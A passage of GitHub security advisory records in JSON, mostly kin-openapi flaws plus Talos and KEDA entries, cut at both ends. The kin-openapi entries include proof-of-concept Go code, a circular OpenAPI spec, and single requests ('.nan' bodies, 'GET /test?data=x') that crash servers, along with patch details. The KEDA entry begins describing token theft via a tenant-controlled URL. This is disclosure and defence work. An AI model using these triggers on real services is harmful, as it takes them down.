2`.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-vrcc-3ch7-hppw","source_code_location":"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/getkin/kin-openapi","identifiers":[{"value":"GHSA-vrcc-3ch7-hppw","type":"GHSA"},{"value":"CVE-2026-100353","type":"CVE"}],"references":["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/getkin/kin-openapi/security/advisories/GHSA-vrcc-3ch7-hppw","https://nvd.nist.gov/vuln/detail/CVE-2026-100353","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/getkin/kin-openapi/commit/9814d1f2b212f3508bf52296aa9e248b2122a5a9","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/getkin/kin-openapi/releases/tag/v0.149.0","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/advisories/GHSA-vrcc-3ch7-hppw"],"published_at":"2026-10-15T20:20:47Z","updated_at":"2026-10-15T20:20:49Z","github_reviewed_at":"2026-10-15T20:20:47Z","nvd_published_at":"2026-10-15T17:17:07Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/getkin/kin-openapi"},"vulnerable_version_range":">= 0.136.0, < 0.149.0","first_patched_version":"0.149.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-476","name":"NULL Pointer Dereference"}],"credits":[{"user":{"login":"eros938","id":150992485,"node_id":"U_kgDOCP_2ZQ","avatar_url":"https://avatars.githubusercontent.com/u/150992485?v=4","gravatar_id":"","url":"https://api.github.com/users/eros938","html_url":"/eros938","followers_url":"https://api.github.com/users/eros938/followers","following_url":"https://api.github.com/users/eros938/following{/other_user}","gists_url":"https://api.github.com/users/eros938/gists{/gist_id}","starred_url":"https://api.github.com/users/eros938/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eros938/subscriptions","organizations_url":"https://api.github.com/users/eros938/orgs","repos_url":"https://api.github.com/users/eros938/repos","events_url":"https://api.github.com/users/eros938/events{/privacy}","received_events_url":"https://api.github.com/users/eros938/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"analyst"},{"user":{"login":"hash3liZer","id":29171692,"node_id":"MDQ6VXNlcjI5MTcxNjky","avatar_url":"https://avatars.githubusercontent.com/u/29171692?v=4","gravatar_id":"","url":"https://api.github.com/users/hash3liZer","html_url":"/hash3liZer","followers_url":"https://api.github.com/users/hash3liZer/followers","following_url":"https://api.github.com/users/hash3liZer/following{/other_user}","gists_url":"https://api.github.com/users/hash3liZer/gists{/gist_id}","starred_url":"https://api.github.com/users/hash3liZer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hash3liZer/subscriptions","organizations_url":"https://api.github.com/users/hash3liZer/orgs","repos_url":"https://api.github.com/users/hash3liZer/repos","events_url":"https://api.github.com/users/hash3liZer/events{/privacy}","received_events_url":"https://api.github.com/users/hash3liZer/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"epss":{"percentage":0.00335,"percentile":0.2527}},{"ghsa_id":"GHSA-g8cf-rcjf-c8cf","cve_id":"CVE-2026-100354","url":"https://api.github.com/advisories/GHSA-g8cf-rcjf-c8cf","html_url":"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/advisories/GHSA-g8cf-rcjf-c8cf","summary":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"## Summary\n\nkin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.\n\nThe runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.\n\nTwo independent unguarded recursion sites were confirmed:\n\n1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).\n2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.\n\n## Details \n### Root Cause\n\n`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):\n\n```go\nfunc (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {\n\tif slices.Contains(stack, schema) {\n\t\treturn stack, nil\n\t}\n\t// ...\n\tstack = append(stack, schema)\n```\n\nThe runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:\n\n```go\nfunc (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {\n\t// ...\n\tfor idx, item := range v { // v = schema.OneOf / AnyOf / AllOf\n\t\tv := item.Value\n\t\t// no check for item.Value == schema (or any ancestor)\n\t\tif err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle\n```\n\nThe request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):\n\n```go\nfunc decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {\n\tif len(schema.Value.AllOf) > 0 {\n\t\tfor _, sr := range schema.Value.AllOf {\n\t\t\tvalue, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check\n```\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n\n### Path A: response / direct schema validation (`VisitJSON`)\n\nA schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:\n\n```go\nrecursiveSchema := &openapi3.Schema{\n\tType:       &openapi3.Types{\"object\"},\n\tProperties: openapi3.Schemas{\"name\": {Value: &openapi3.Schema{Type: &openapi3.Types{\"string\"}}}},\n}\nrecursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular\n\n_ = recursiveSchema.Validate(ctx)                       // accepted, no error\n_ = recursiveSchema.VisitJSON(map[string]any{\"name\": \"test\"}) // crashes\n```\n\nOutput:\n\n```\nValidate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it\nCalling VisitJSON() -- expect fatal stack overflow (unrecoverable)...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1951\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1981\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\n... (repeats until stack overflow)\n```\n\nA `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.\n\n### Path B: HTTP request validation against a loaded spec (realistic delivery)\n\nA legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:\n\n```yaml\nopenapi: '3.0.0'\ninfo: { title: Circular allOf crash PoC, version: '1.0' }\npaths:\n  /test:\n    get:\n      parameters:\n        - name: data\n          in: query\n          schema: { $ref: '#/components/schemas/Recursive' }\n      responses: { '200': { description: OK } }\ncomponents:\n  schemas:\n    Recursive:\n      type: object\n      allOf:\n        - $ref: '#/components/schemas/Recursive'\n      properties:\n        name: { type: string }\n```\n\nA single `GET /test?data=x` crashes the whole server process:\n\n```\nValidate() ACCEPTED the spec with circular allOf $ref\nSending GET /test?data=x through a real net/http server...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\n... (repeats until stack overflow)\n```\n\nThe line printed after the request (\"the process survived\") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.\n\n### Fix verification\n\nAdding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:\n\n- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.\n- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:\n\n```\nResponse: 400 \"invalid: parameter \\\"data\\\" in query has an error: circular schema reference detected while decoding\"\nIf you see this line, the process survived.\n```\n\n## Impact\n\nAn unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`'s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.\n\nAttack surface, in order of exposure:\n\n- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.\n- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-g8cf-rcjf-c8cf","source_code_location":"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/getkin/kin-openapi","identifiers":[{"value":"GHSA-g8cf-rcjf-c8cf","type":"GHSA"},{"value":"CVE-2026-100354","type":"CVE"}],"references":["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/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf","https://nvd.nist.gov/vuln/detail/CVE-2026-100354","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/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff","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/getkin/kin-openapi/releases/tag/v0.149.0","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/advisories/GHSA-g8cf-rcjf-c8cf"],"published_at":"2026-10-15T20:20:37Z","updated_at":"2026-10-15T20:20:38Z","github_reviewed_at":"2026-10-15T20:20:37Z","nvd_published_at":"2026-10-15T17:17:07Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/getkin/kin-openapi"},"vulnerable_version_range":"< 0.149.0","first_patched_version":"0.149.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-674","name":"Uncontrolled Recursion"}],"credits":[{"user":{"login":"eros938","id":150992485,"node_id":"U_kgDOCP_2ZQ","avatar_url":"https://avatars.githubusercontent.com/u/150992485?v=4","gravatar_id":"","url":"https://api.github.com/users/eros938","html_url":"/eros938","followers_url":"https://api.github.com/users/eros938/followers","following_url":"https://api.github.com/users/eros938/following{/other_user}","gists_url":"https://api.github.com/users/eros938/gists{/gist_id}","starred_url":"https://api.github.com/users/eros938/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eros938/subscriptions","organizations_url":"https://api.github.com/users/eros938/orgs","repos_url":"https://api.github.com/users/eros938/repos","events_url":"https://api.github.com/users/eros938/events{/privacy}","received_events_url":"https://api.github.com/users/eros938/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"hash3liZer","id":29171692,"node_id":"MDQ6VXNlcjI5MTcxNjky","avatar_url":"https://avatars.githubusercontent.com/u/29171692?v=4","gravatar_id":"","url":"https://api.github.com/users/hash3liZer","html_url":"/hash3liZer","followers_url":"https://api.github.com/users/hash3liZer/followers","following_url":"https://api.github.com/users/hash3liZer/following{/other_user}","gists_url":"https://api.github.com/users/hash3liZer/gists{/gist_id}","starred_url":"https://api.github.com/users/hash3liZer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hash3liZer/subscriptions","organizations_url":"https://api.github.com/users/hash3liZer/orgs","repos_url":"https://api.github.com/users/hash3liZer/repos","events_url":"https://api.github.com/users/hash3liZer/events{/privacy}","received_events_url":"https://api.github.com/users/hash3liZer/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"analyst"}],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"epss":{"percentage":0.00435,"percentile":0.36323}},{"ghsa_id":"GHSA-rj39-cv6w-8wv7","cve_id":"CVE-2026-100352","url":"https://api.github.com/advisories/GHSA-rj39-cv6w-8wv7","html_url":"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/advisories/GHSA-rj39-cv6w-8wv7","summary":"kin-openapi: YAML NaN/Inf Values Bypass Built-in Guards and Panic via OAS 3.1 Validation Path","description":"## Summary\n\nkin-openapi guards against `NaN` and `Inf` values in its built-in schema visitor (`visitJSON`) by returning `ErrSchemaInputNaN` / `ErrSchemaInputInf` when a `float64` input violates those constraints. For OAS 3.1 specs, however, `Schema.VisitJSON` routes through `useJSONSchema2020`, which hands the value directly to `santhosh-tekuri/jsonschema/v6` v6.0.2 without applying the same guard.\n\nInside `jsonschema/v6` v6.0.2, `numValidate` builds a `*big.Rat` from the input via `big.Rat.SetString(fmt.Sprintf(\"%v\", v))`. For `NaN`/`Inf` this parse fails silently and returns `nil`. `numValidate` then dereferences the nil `*big.Rat` (in `math/big.(*Rat).Cmp`), producing a Go runtime panic.\n\nAn attacker delivers this by sending an HTTP request with `Content-Type: application/yaml` (or `application/x-yaml`) and a YAML body containing `.nan`, `.inf`, or `-.inf`. The `YamlBodyDecoder` decodes those tokens into `math.NaN()` / `math.Inf(±1)` (standard YAML 1.2 behavior), and they propagate to the unguarded `useJSONSchema2020` path whenever the schema declares a numeric constraint (`minimum`, `maximum`, `exclusiveMinimum`, `exclusiveMaximum`, or `multipleOf`).\n\n## Details\n### Root Cause\n\nThe built-in visitor `visitJSON` at `openapi3/schema.go:1968` guards NaN/Inf explicitly:\n\n```go\ncase float64:\n    if math.IsNaN(value) {\n        return ErrSchemaInputNaN\n    }\n    if math.IsInf(value, 0) {\n        return ErrSchemaInputInf\n    }\n```\n\nFor OAS 3.1 specs, `VisitJSON` dispatches to `useJSONSchema2020` (`openapi3/schema_jsonschema_validator.go:204`), which contains no such guard:\n\n```go\nfunc (schema *Schema) useJSONSchema2020(settings *schemaValidationSettings, value any) error {\n    validator, err := newJSONSchemaValidator(schema)\n    if err != nil {\n        return schema.visitJSON(settings, value)\n    }\n    return validator.validate(value)      // value handed straight through\n}\n```\n\n`jsonSchemaValidator.validate` calls `jsonschema/v6.Schema.Validate` (line 146), which reaches `numValidate` in v6.0.2. There, `big.Rat.SetString(fmt.Sprintf(\"%v\", v))` returns `(nil, false)` for `NaN`/`Inf`, and the code dereferences the `nil` `*big.Rat` in `Rat.Cmp`, causing the panic.\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- santhosh-tekuri/jsonschema/v6 v6.0.2 (transitive dep)\n- Go 1.26.7\n\n### Spec\n\nMinimal OAS 3.1 spec (`spec.yaml`) declaring a YAML body with a numeric constraint:\n\n```yaml\nopenapi: '3.1.0'\ninfo: { title: Test, version: '1.0' }\npaths:\n  /test:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/yaml:\n            schema:\n              type: number\n              minimum: 0\n      responses:\n        '200': { description: OK }\n```\n\n### Trigger\n\nA single `POST /test` with `Content-Type: application/yaml` and body `.nan`, `.inf`, or `-.inf`. All three variants panic:\n\n```\n=== RUN   TestNaNInf\n[nan]    PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference\n[inf]    PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference\n[neginf] PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference\n```\n\n### Panic stack trace (confirms exact chain)\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n\nmath/big.(*Rat).Cmp(0x0, ...)                                       <- nil *big.Rat dereferenced\n    C:/Program Files/Go/src/math/big/rat.go:492\ngithub.com/santhosh-tekuri/jsonschema/v6.(*validator).numValidate(...)\n    .../jsonschema/v6@v6.0.2/validator.go:525\ngithub.com/santhosh-tekuri/jsonschema/v6.(*validator).validate(...)\n    .../jsonschema/v6@v6.0.2/validator.go:168\ngithub.com/santhosh-tekuri/jsonschema/v6.(*Schema).validate(...)\n    .../jsonschema/v6@v6.0.2/validator.go:34\ngithub.com/getkin/kin-openapi/openapi3.(*jsonSchemaValidator).validate(...)\n    openapi3/schema_jsonschema_validator.go:146\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).useJSONSchema2020(...)   <- MISSING NaN/Inf guard\n    openapi3/schema_jsonschema_validator.go:211\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).VisitJSON(...)\n    openapi3/schema.go:1946\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequestBody(...)\n    openapi3filter/validate_request.go:364\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n    openapi3filter/validate_request.go:96\n```\n\n### net/http behavior (severity nuance)\n\nBehind a standard `net/http` server, the panic is recovered per-connection. The client sees a dropped connection; the server process continues:\n\n```\nSending POST /test body=.nan against real net/http server...\n2026/08/25 http: panic serving 127.0.0.1:40625: runtime error: invalid memory address or nil pointer dereference\nCLIENT ERROR (connection dropped): Post \".../test\": EOF\nProcess still alive after request: true\n```\n\nThis is a **recoverable panic**, unlike the recursion finding. `recover()` catches it (verified by capturing the panic value in a `defer` in the same goroutine). Non-`net/http` hosts or validation performed in an application-spawned goroutine are not covered by that recovery and would experience a full-process crash.\n\n### Fix verification\n\nUpgrading only the transitive dependency to `jsonschema/v6@v6.0.3` (via `go get github.com/santhosh-tekuri/jsonschema/v6@v6.0.3`) eliminates the panic entirely; all three payloads return a clean validation error:\n\n```\n[nan]    Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64\n[inf]    Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64\n[neginf] Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64\n```\n\nThis confirms the upstream `jsonschema/v6` v6.0.3 release treats the NaN/Inf case as a bug and fixes it at the source. It also confirms `useJSONSchema2020` is the reachable path: patching only the transitive dep removes the panic without touching kin-openapi code.\n\n## Why This Is a Vulnerability, Not by Design\n\n- The library explicitly refuses NaN/Inf in its own visitor (`ErrSchemaInputNaN` / `ErrSchemaInputInf` at `schema.go:1968`). The stated policy is: these values are not allowed.\n- The OAS 3.1 dispatch (`useJSONSchema2020`) simply omits the same guard — a coding gap, not a design decision.\n- Upstream `jsonschema/v6` v6.0.3 fixes the same case as a bug. Two independent code owners agree it should not panic.\n- The trigger is a single HTTP request body an unauthenticated client can send. There is no legitimate content-authoring reason to submit `.nan` / `.inf` as a numeric field.\n\n## Impact\n\n- **Per-request denial of service (net/http hosts).** Every crafted request kills its own connection with zero attacker cost. Sustained flooding degrades service reliability and log noise.\n- **Full-process denial of service (non-net/http hosts or goroutine-spawned validation).** No `net/http` recovery wrapper is present; the whole process crashes on a single request.\n- **Attack surface is any OAS 3.1 API that accepts YAML bodies with numeric constraints.** These constraints (`minimum`, `maximum`, `exclusiveMinimum`, `exclusiveMaximum`, `multipleOf`) are common on any numeric field with a range.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-rj39-cv6w-8wv7","source_code_location":"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/getkin/kin-openapi","identifiers":[{"value":"GHSA-rj39-cv6w-8wv7","type":"GHSA"},{"value":"CVE-2026-100352","type":"CVE"}],"references":["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/getkin/kin-openapi/security/advisories/GHSA-rj39-cv6w-8wv7","https://nvd.nist.gov/vuln/detail/CVE-2026-100352","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/getkin/kin-openapi/commit/4487f198ab8be0c37d6ca72c54f5dca4dc25270e","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/getkin/kin-openapi/releases/tag/v0.148.0","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/advisories/GHSA-rj39-cv6w-8wv7"],"published_at":"2026-10-15T20:20:27Z","updated_at":"2026-10-15T20:20:28Z","github_reviewed_at":"2026-10-15T20:20:27Z","nvd_published_at":"2026-10-15T16:17:31Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/getkin/kin-openapi"},"vulnerable_version_range":"< 0.148.0","first_patched_version":"0.148.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-754","name":"Improper Check for Unusual or Exceptional Conditions"}],"credits":[{"user":{"login":"eros938","id":150992485,"node_id":"U_kgDOCP_2ZQ","avatar_url":"https://avatars.githubusercontent.com/u/150992485?v=4","gravatar_id":"","url":"https://api.github.com/users/eros938","html_url":"/eros938","followers_url":"https://api.github.com/users/eros938/followers","following_url":"https://api.github.com/users/eros938/following{/other_user}","gists_url":"https://api.github.com/users/eros938/gists{/gist_id}","starred_url":"https://api.github.com/users/eros938/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eros938/subscriptions","organizations_url":"https://api.github.com/users/eros938/orgs","repos_url":"https://api.github.com/users/eros938/repos","events_url":"https://api.github.com/users/eros938/events{/privacy}","received_events_url":"https://api.github.com/users/eros938/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"hash3liZer","id":29171692,"node_id":"MDQ6VXNlcjI5MTcxNjky","avatar_url":"https://avatars.githubusercontent.com/u/29171692?v=4","gravatar_id":"","url":"https://api.github.com/users/hash3liZer","html_url":"/hash3liZer","followers_url":"https://api.github.com/users/hash3liZer/followers","following_url":"https://api.github.com/users/hash3liZer/following{/other_user}","gists_url":"https://api.github.com/users/hash3liZer/gists{/gist_id}","starred_url":"https://api.github.com/users/hash3liZer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hash3liZer/subscriptions","organizations_url":"https://api.github.com/users/hash3liZer/orgs","repos_url":"https://api.github.com/users/hash3liZer/repos","events_url":"https://api.github.com/users/hash3liZer/events{/privacy}","received_events_url":"https://api.github.com/users/hash3liZer/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"analyst"}],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"epss":{"percentage":0.00426,"percentile":0.35412}},{"ghsa_id":"GHSA-7cxh-94cf-mfp6","cve_id":"CVE-2026-77564","url":"https://api.github.com/advisories/GHSA-7cxh-94cf-mfp6","html_url":"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/advisories/GHSA-7cxh-94cf-mfp6","summary":"Talos Linux: Support bundle does not redact registry credentials","description":"### Summary\nWhen generating a support bundle with `talosctl support` the credentials entered for private registries are included in the bundle.\n\n\n### Details\n\nWithin the generated support bundle, inside `resources/registryconfigs.cri.talos.dev.yaml` the `auth` field of the spec is retained.\nThe same, potentially sensitive information is present within `etcfilespecs.files.talos.dev.yaml`.\n\n### PoC\n\nSimply run `talosctl -n [...] support` on a cluster with a `RegistryAuthConfig` resource \n\n### Impact\n\nThe problem itself is minor, however, anyone who has ever uploaded a support.zip bundle on a github issue, slack thread or public forum could have potentially leaked their internal authentication parameters for a private registry.\n\nIn most situations, if the network and credentials are set correctly, this should not be a problem. On the other hand, if the affected registry is publicly accessible, and the provided credentials have write access to it, this could lead to possibly serious consequences, from denial of service, to data loss and possibly existing tag hijacking leading to supply chain compromise, for the affected parties which were under the impression that the support bundle is redacted of sensitive information and thus can be shared publicly.\n\n\n### Notes\n\nTalos 1.14+ by default encrypts the support bundle to the age recipients specified (defaulting to siderolabs GitHub org members), so the impact is even lower.\n\n### Environment\n\n- Talos version: v1.13.0\n- Kubernetes version: 1.35.3\n- Platform: amd64","type":"reviewed","severity":"low","repository_advisory_url":"https://api.github.com/repos/siderolabs/talos/security-advisories/GHSA-7cxh-94cf-mfp6","source_code_location":"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/siderolabs/talos","identifiers":[{"value":"GHSA-7cxh-94cf-mfp6","type":"GHSA"},{"value":"CVE-2026-77564","type":"CVE"}],"references":["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/siderolabs/talos/security/advisories/GHSA-7cxh-94cf-mfp6","https://nvd.nist.gov/vuln/detail/CVE-2026-77564","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/siderolabs/talos/pull/13345","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/siderolabs/talos/pull/13434","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/siderolabs/talos/pull/13611","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/siderolabs/talos/commit/4c288caf2de1db7f84bba0539ca5ed7d6ecb9142","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/siderolabs/talos/commit/76080416beee6460375c0d0db3cab76cc493ad3e","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/siderolabs/talos/commit/7dc716d850e43373ba8702c702105f4edd68fceb","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/siderolabs/talos/releases/tag/v1.12.9","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/siderolabs/talos/releases/tag/v1.13.3","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/advisories/GHSA-7cxh-94cf-mfp6"],"published_at":"2026-10-15T20:20:16Z","updated_at":"2026-10-15T20:20:17Z","github_reviewed_at":"2026-10-15T20:20:16Z","nvd_published_at":"2026-10-14T17:19:11Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/talos-systems/talos"},"vulnerable_version_range":"< 1.14.0-alpha.0.0.20260513110206-76080416beee","first_patched_version":"1.14.0-alpha.0.0.20260513110206-76080416beee","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":3.3},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-312","name":"Cleartext Storage of Sensitive Information"}],"credits":[{"user":{"login":"Thanzex","id":24547304,"node_id":"MDQ6VXNlcjI0NTQ3MzA0","avatar_url":"https://avatars.githubusercontent.com/u/24547304?v=4","gravatar_id":"","url":"https://api.github.com/users/Thanzex","html_url":"/Thanzex","followers_url":"https://api.github.com/users/Thanzex/followers","following_url":"https://api.github.com/users/Thanzex/following{/other_user}","gists_url":"https://api.github.com/users/Thanzex/gists{/gist_id}","starred_url":"https://api.github.com/users/Thanzex/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Thanzex/subscriptions","organizations_url":"https://api.github.com/users/Thanzex/orgs","repos_url":"https://api.github.com/users/Thanzex/repos","events_url":"https://api.github.com/users/Thanzex/events{/privacy}","received_events_url":"https://api.github.com/users/Thanzex/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":7,"cvss":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":3.3},"epss":{"percentage":0.00132,"percentile":0.02453}},{"ghsa_id":"GHSA-637c-6jxx-4rwm","cve_id":"CVE-2026-77524","url":"https://api.github.com/advisories/GHSA-637c-6jxx-4rwm","html_url":"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/advisories/GHSA-637c-6jxx-4rwm","summary":"KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication","description":"## Summary\n\nA namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `[\"*\"]/[\"*\"] get` cluster-wide, so it reads every Secret in every namespace, plus 